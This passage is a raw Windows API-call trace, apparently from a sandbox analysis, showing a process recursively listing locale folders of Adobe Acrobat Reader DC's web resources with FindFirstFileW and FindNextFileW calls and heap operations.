0x3932890 [0264.612] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\fi-fi\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.612] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.612] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x542, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.613] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x542, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.613] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0264.613] GetProcessHeap () returned 0xc10000 [0264.613] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.613] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0264.613] GetProcessHeap () returned 0xc10000 [0264.613] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.613] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\fr-fr\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.613] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.613] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.614] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.614] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0264.614] GetProcessHeap () returned 0xc10000 [0264.614] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.614] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0264.614] GetProcessHeap () returned 0xc10000 [0264.614] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.614] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\fr-ma\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.615] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.615] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.615] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0264.615] GetProcessHeap () returned 0xc10000 [0264.615] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.615] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0264.615] GetProcessHeap () returned 0xc10000 [0264.616] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.616] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\he-il\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.616] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.616] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.616] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0264.616] GetProcessHeap () returned 0xc10000 [0264.616] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.616] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0264.616] GetProcessHeap () returned 0xc10000 [0264.616] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.617] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\hr-hr\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.617] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.617] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.617] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0264.617] GetProcessHeap () returned 0xc10000 [0264.617] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.617] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0264.617] GetProcessHeap () returned 0xc10000 [0264.617] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.617] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\hu-hu\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.618] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.618] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.618] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0264.618] GetProcessHeap () returned 0xc10000 [0264.618] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.618] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0264.618] GetProcessHeap () returned 0xc10000 [0264.618] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.618] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\it-it\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.619] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.619] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.620] GetProcessHeap () returned 0xc10000 [0264.620] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.620] GetProcessHeap () returned 0xc10000 [0264.620] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.620] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\ja-jp\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.622] GetProcessHeap () returned 0xc10000 [0264.622] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.622] GetProcessHeap () returned 0xc10000 [0264.622] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\ko-kr\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.623] GetProcessHeap () returned 0xc10000 [0264.623] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.623] GetProcessHeap () returned 0xc10000 [0264.623] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.623] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\nb-no\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.624] GetProcessHeap () returned 0xc10000 [0264.624] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.624] GetProcessHeap () returned 0xc10000 [0264.624] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\nl-nl\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.625] GetProcessHeap () returned 0xc10000 [0264.625] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.625] GetProcessHeap () returned 0xc10000 [0264.625] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.625] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\pl-pl\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.626] GetProcessHeap () returned 0xc10000 [0264.626] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.626] GetProcessHeap () returned 0xc10000 [0264.626] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.626] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\pt-br\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.631] GetProcessHeap () returned 0xc10000 [0264.631] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.631] GetProcessHeap () returned 0xc10000 [0264.631] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.632] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\ro-ro\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, 